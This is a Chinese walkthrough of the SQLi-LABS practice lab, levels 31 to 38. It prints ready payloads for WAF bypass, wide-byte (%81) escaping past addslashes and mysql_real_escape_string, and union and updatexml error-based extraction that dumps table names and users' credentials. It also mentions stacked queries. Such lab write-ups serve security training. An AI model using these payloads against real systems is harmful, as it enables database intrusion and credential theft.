当前位置: 首页 > news >正文

SQL注入SQLi-LABS 靶场less31-38详细通关攻略

less-31 GET -Blind -IMPIDENCE MISMATCH -Having a WAF in front of web application

一、判断闭合方式

查看源代码可得

?id=1&id=1 ") ;%00

二、构造语句数据库名称

?id=1&id=-1")%0aunion%0aselect%0a1,database(),3;%00

三、构造语句数据表名称

?id=1&id=-1")%0aunion%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

四、构造语句查询列名称

?id=1&id=-1")%0aunion%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

五、构造语句查询数据信息

?id=1&id=-1")%0Aunion%0Aselect%0A1,group_concat(username,password),3%0Afrom%0Ausers;%00

less-32 GET -Bypass -custom filter adding slashes to dangerous chars

一、判断闭合方式

1%81%27%20and%201=1--+
1%81%27%20and%201=2--+

二、判断注入方式

判断闭合方式时,下列输出有反斜杠进行转义,所以我们怎么尝试单引号和双引号都不行,要先对反斜杠进行转义,添加%81。使用宽字节注入和联合注入。

三、构造语句数据库名称

-1%81' union select 1,database(),3 --+

四、构造语句数据表名称

-1%81' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

五、构造语句字段名

-1%81' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+

六、查询数据信息

-1%81' union select 1,group_concat(username,password),3 from users --+

less-33 GET -Bypass AddSlashes

一、判断闭合方式

1%81' and 1=1 --+
1%81' and 1=2 --+

二、判断注入方式

输入危险字符会有反斜杠进行转义,使用宽字节注入,%81宽字节注入可以成功利用,并根据回显信息可以知道存在报错注入。该关使用报错注入和宽字节注入的方式获取数据

三、构造语句数据库名称

0%81' and updatexml(1,concat(1,database()),3) --+

四、构造语句数据表名称

数据库名直接使用无法找到,使用相关函数确定数据库名称。

0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

五、构造语句字段名

users无法使用会报错可以使用十六进制编码代替。

0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

六、查询数据信息

0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 34 POST - Bypass AddSlashes

一、判断注入方式

该关卡使用的POST请求传参需要我们抓包更改数据。添加特殊敏感符号会进行反斜杠转义,使用宽字节注入使反斜杠失效,可以成功逃逸并且可以得出存在报错注入。

二、构造语句数据库名称

0%81' and updatexml(1,concat(1,database()),3) --+

三、构造语句数据表名称

0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

四、构造语句字段名

0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

五、查询数据信息

0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 35 GET Bypass Add Slashes(we dont need them)integer based

一、判断闭合方式

1 and 1=1 --+

二、判断注入方式

根据判断出来的闭合方式为数字型,在尝试闭合方式时存在报错注入的条件可以使用报错注入进行信息的获取

三、构造语句数据库名称

0 and updatexml(1,concat(1,database()),3) --+

四、构造语句数据表名称

0 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

五、构造语句字段名

0 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

六、查询数据信息

0 and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 36 GET -Bypass MySQL_real_escape_string

一、判断闭合方式

1%81' and 1=1 --+
1%81' and 1=2 --+

二、判断注入方式

尝试闭合方式是存在报错注入前提,使用宽字节注入和报错注入联合。

三、构造语句数据库名称

0%81' and updatexml(1,concat(1,database()),3) --+

四、构造语句数据表名称

0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

五、构造语句字段名

0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

六、查询数据信息

0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 37 POST -Bypass MySQL-real_escape_string

一、判断注入方式

POST传参,在登录时使用BP进行抓包发送到重放器,修改username字段判断怎么利用。使用特殊字符会被反斜杠转义,%81进行逃逸。并且页面存在报错注入的使用条件,宽字节注入与报错注入联合使用。

二、构造语句数据库名称

0%81' and updatexml(1,concat(1,database()),3) --+

三、构造语句数据表名称

0%81' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+

四、构造语句字段名

0%81' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)),3) --+

五、查询数据信息

0%81' and updatexml(1,concat(1,(select group_concat(username,password) from users)),3) --+

Less 38 Stacked Query

一、判断闭合方式

1%81' and 1=1 --+
1%81' and 1=2 --+

二、判断注入方式

这一关为堆叠注入,格式为 第一条语句;第二条语句。这两条为单独的sql语句那么这两天语句均可执行。可以进行增删改的操作。

其他的信息获取语句与前面的报错注入一样就不赘述了。

http://www.dtcms.com/a/312664.html

相关文章:

  • 托福阅读38-3
  • 使用AssemblyAI将音频数据转换成文本
  • AI生成图片工具分享!
  • Linux的权限概念
  • 关于Web前端安全之XSS攻击防御增强方法
  • 【视频内容创作】PR的关键帧动画
  • 机器学习第三课之逻辑回归(三)LogisticRegression
  • Python-初学openCV——图像预处理(五)
  • 团队独立思考的力量
  • 论文阅读:DMD蒸馏 | One-step Diffusion with Distribution Matching Distillation
  • Python 动态属性和特性(定义一个特性工厂函数)
  • 「源力觉醒 创作者计划」_文心大模型4.5系列开源模型, 从一行代码到一个生态:聊聊开源战略那些事儿,顺便扯扯文心大模型 4.5 的使用心得
  • zookeeper分布式锁 -- 读锁和写锁实现方式
  • gpu instancer crowd 使用自定义材质并且只修改单个物体的材质参数
  • 【领域热点】【Vue】Vue 与 WebAssembly:前端性能优化的黄金搭档
  • 渗透高级-----应急响应
  • 机器翻译的分类:规则式、统计式、神经式MT的核心区别
  • 新电脑上GitHub推送失败?全面排查与解决指南
  • 第三章-提示词-高级:开启智能交互新境界(13/36)
  • Flutter Dart类的使用
  • WebMvc自动配置流程讲解
  • 【MySQL】MySQL的安全风险与安装安全风险
  • GraphRAG:基于知识图谱的检索增强生成技术解析
  • OSPF HCIP
  • RAG 中常见的文本分块(chunk)方法及实战代码示例
  • 基于开源AI智能客服、AI智能名片与S2B2C商城小程序的餐饮行业私域流量运营策略研究
  • JavaEE初阶第十三期:解锁多线程,从 “单车道” 到 “高速公路” 的编程升级(十一)
  • 最新Android Studio汉化教程--兼容插件包
  • 日产轩逸全面评测:可靠性高十万公里无大修,科技配置落后
  • Starrocks ShortCircuit短路径的调度